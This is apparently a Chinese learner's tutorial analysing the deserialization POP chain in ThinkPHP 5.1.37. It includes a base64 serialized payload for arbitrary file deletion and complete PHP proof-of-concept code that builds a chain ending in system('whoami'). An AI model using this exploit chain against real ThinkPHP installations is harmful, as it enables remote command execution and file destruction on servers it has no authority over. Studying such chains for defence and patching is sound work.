很多面试内容都会有对thinkphp的问题,这里我也想学习一下,正好写一下记录一下啦(第一次写,不清楚或者不正确酌情点骂)
首先下载配置thinkphp5.1.37的源代码,在application目录下controller的index内容中加上
unserialize($_GET['a']);
大概就是下面这个样子 (注意要base64编码,如果直接输出的话可能产生不可见字符导致反序列化失败)
下面开始正经的找反序列化的pop链
这里的调试方式我看的暗月的课程配置了phpstorm的动态调试,同时php的魔术方法是什么我也不过多阐述了,下面会有几个魔术方法的使用,如果没有了解可以自己搜索学习一下
首先thinkphp5.1.37版本的pop链从windows类里面的__destruct开始的,这里右键项目,点里面的find in files就可以快速查找__destruct的魔术方法的位置
这里找到了windows类里面的__destruct魔术方法,可以看到有两个指向的函数 close()和removeFiles(),我们具体进去看看里面是什么(close函数不是这里的重点)我们利用的是下面的removeFiles函数
进入removeFiles函数看看
这里有一个简单的文件删除漏洞,这里的files可以被我们反序列化自己控制,就有一个任意文件删除的漏洞:写一个文件在我的网站目录之下
写一个aleicnb.txt文件,写一个反序列化的test.php文件
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjQ5OiJGOlx0b29sc1xwaHBzdHVkeV9wcm9cV1dXXHd3dy50cDUuY29tXGFsZWljbmIudHh0Ijt9fQ==
生成这个在tp的index页面输入
可以看到我们写的aleicnb文件不见了,这里是一个简单的任意文件删除漏洞,当然这个东西不是这次反序列化的重点。
下面找反序列化的pop链
这里我们要知道,removeFiles函数里面的file_exits函数会把传入的参数当作字符串处理,这里会调用__tostring魔术方法。这里我们要利用的是conversion类中的__tostring魔术方法
进入这里的toJson函数,里面有toArray函数,我们继续查看
这个是toArray函数里面利用反序列化命令执行很重要的代码段,为什么说这段重要,因为里面调用了visible函数。我们要进行命令执行漏洞,是要调用代码中可以执行系统函数的代码部分,而正好在thinkphp5.1.37中,我们可以利用request类的__call魔术方法中有call_user_func_array,可以实现调用后面的isAjax函数(到这里可能会有点乱,好像不知道为什么要这样,这里是一个很长的链子,并不是一步执行,要慢慢耐心的看一下)
什么时候会调用__call魔术方法呢,就是在类内调用不存在的函数,此时会把参数和函数名字传入__call魔术方法中
再看这张图,我们的目的是要最后执行这里的visible函数,所以我们要让代码执行到这里,所以$this->append非空且为数组,还有append内的键值对中,值也应该是数组($name要过去is_array)。
看第一个$relation,内容是空才可以继续执行,getRelation函数要返回false或null,传入的$key不能是空,同时不在$relation中,这里让key的值是一个不存在的就可以了,就让它是aleicnb,所以可以让$this->append为['aleicnb'=>['']]这样。
接下来要让执行visible函数,并且调用__call魔术方法,需要让$relation为Request类的实例,这里就要看getAttr函数
看这里的有调用$value=$this->getData(最后返回的是$value,这里没有截图)只要让getData函数返回的是Request类的实例就可以,进入getData函数
看中间这个return $this->data[$name],让这中的data[$name]为new Request就可以,
$this->data=['aleicnb'=>new Request()];这样就可以了
这里就可以进行对__call函数的调用
这里可以看到一个array_unshift函数,则$args参数被插入了其他值,则这里的call_user_func_array函数不能用‘system’等函数进行命令执行,这里就可以考虑tp5.1.x常有的rce漏洞就是利用isAjax函数。call_user_func_array函数有一个利用方式就是call_user_func_array([$this,visible],$args)表示调用当前类的visible函数
$this->hook=['visible'=>[$this,'isAjax']];这样就会调用isAjax函数
看到这里的isAjax函数,看到param函数,传参是$this->config['var_ajax'],进入函数中是$name,进入该函数看一看
最终这里要进入input函数,我们进入input函数看看怎么操作的
这部分是input函数的一部分,里面的getData函数给data赋值,,看看这里的getFilter函数要干什么
可以发现这个getFilter函数其实没干什么,就是要得到一个filter本身,最后补加一个default
进入filtervalue看看
看到里面有一个关键语句,$value=call_user_func($filter,$value);,到了这里思路就比较明了了。附上pop链的poc代码
<?php
namespace think;
class Request{
protected $hook = [];
protected $filter;
protected $mergeParam = true;
protected $param = ['whoami'];
protected $config = [
'var_ajax' => '',
];
function __construct(){
$this->hook=['visible'=>[$this,'isAjax']];
$this->filter=['system'];
}
}
namespace think;abstract class Model{
protected $append = [];
private $data=[];
function __construct(){
$this->append=['aleicnb'=>['']];
$this->data=['aleicnb'=>new Request()];
}}
namespace think\model;
use think\model;
class Pivot extends Model{}
namespace think\process\pipes;
use think\model\Pivot;class Pipes{}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files=[new Pivot()];
}
}
echo base64_encode(serialize(new Windows()));
最后的时候,我可能没有继续细说,可以根据poc代码来返回看一下是怎么操作的。这一块比较乱,大家看的时候记得有一些耐心。上面trait不能被反序列化,后面abstract定义的类也不能直接反序列化,所以找到了跳板pipes类。这就是一个大概的思路(如果写的不好轻点骂哈)
QQ:2912055973,文章有问题或者想相互交流,欢迎大家啦。